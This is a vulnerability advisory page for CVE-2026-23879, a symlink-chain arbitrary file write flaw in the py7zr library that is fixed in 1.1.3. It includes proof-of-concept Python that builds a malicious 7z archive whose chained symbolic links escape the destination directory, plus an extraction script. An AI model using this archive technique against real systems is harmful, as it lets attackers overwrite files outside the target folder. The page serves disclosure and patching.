CVE-2026-23879
JSON

8.0high

py7zr: Arbitrary File Write Vulnerability

Severity
8.0high CVSS:3.1 by GitHub_M
Exploit likelihood
0.50% (higher than 44% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-q6rc-2cgv-63h7PYSEC-2026-2974

Description

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.

Affected

Product or packageVersionsReported by
miurahr py7zr< 1.1.3CVE List
py7zr (PyPI)before 1.1.3GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M8.0high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
GitHub8.0high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
PyPA Advisory Database8.0high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Classification

CWE-59

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.

GitHub Advisory Database
Summary

There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.

Details

The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.

image
PoC
Construct PoC Archive File

The following pseudo-code illustrates the vulnerable logic.

def create_sevenz_exp(output_dir: str):
    filename = "archive.7z"
    file_path = output_dir + filename
    with py7zr.SevenZipFile(file_path, 'w') as archive:
        archive.writestr("Some Text", "dir0/someFile.txt")
        add_symlink(archive, "dir1", "dir0/..")
        add_symlink(archive, "dir2", "dir1/..")
        add_symlink(archive, "dir3", "dir2/..")
        add_symlink(archive, "dir4", "dir3/..")
        add_symlink(archive, "dir5", "dir4/..")
        add_symlink(archive, "dir6", "dir5/..")
        add_symlink(archive, "dir7", "dir6/..")
        add_symlink(archive, "dir8", "dir7/..")
        add_symlink(archive, "myTmp", "dir8/tmp")
        archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Unpack the archive

Use common decompression methods, then extract the archive.

import sys
import os
import py7zr

def extract_7z(seven_path, output_dir):
    os.makedirs(output_dir, exist_ok=True)
    with py7zr.SevenZipFile(seven_path, mode='r') as z:
        z.extractall(path=output_dir)
    print(f"Extracted '{seven_path}' to '{output_dir}'")

if __name__ == "__main__":
    seven_file = sys.argv[1]
    base_name = os.path.splitext(os.path.basename(seven_file))[0]
    output = base_name + "_sevenz_output"

    extract_7z(seven_file, output)
Impact
image

After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

NVD (es)

py7zr es una biblioteca y utilidad basada en Python para soportar la compresión, descompresión, cifrado y descifrado de archivos 7zip. Las versiones 1.1.2 e inferiores contienen una vulnerabilidad de escritura de archivo arbitraria, que permite que los enlaces simbólicos sean recreados fuera del directorio de destino a través de cadenas de enlaces simbólicos maliciosos manipulados. Al usar extractall para extraer un archivo, la biblioteca restaura estos enlaces simbólicos, enlazándolos a directorios arbitrarios en el sistema de archivos del host. Durante la extracción, el programa solo verifica el arcname del enlace dentro del directorio de destino, pero ignora la resolución de ruta combinada del enlace simbólico. Los atacantes pueden explotar esta vulnerabilidad construyendo archivos maliciosos, eludiendo así las restricciones de límite de directorio implementadas por el extractor. La extracción posterior de archivos regulares a través de estos enlaces simbólicos puede resultar en escrituras de archivos arbitrarias. Esta vulnerabilidad puede conducir a la ejecución remota de código, escalada de privilegios, corrupción de datos o denegación de servicio. Este problema ha sido solucionado en la versión 1.1.3.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-23879 changed 2026-06-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-q6rc-2cgv-63h7 changed 2026-07-21CC-BY-4.0
NVDCVE-2026-23879 changed 2026-10-25Public domain
PyPA Advisory DatabasePYSEC-2026-2974 changed 2026-07-13CC-BY-4.0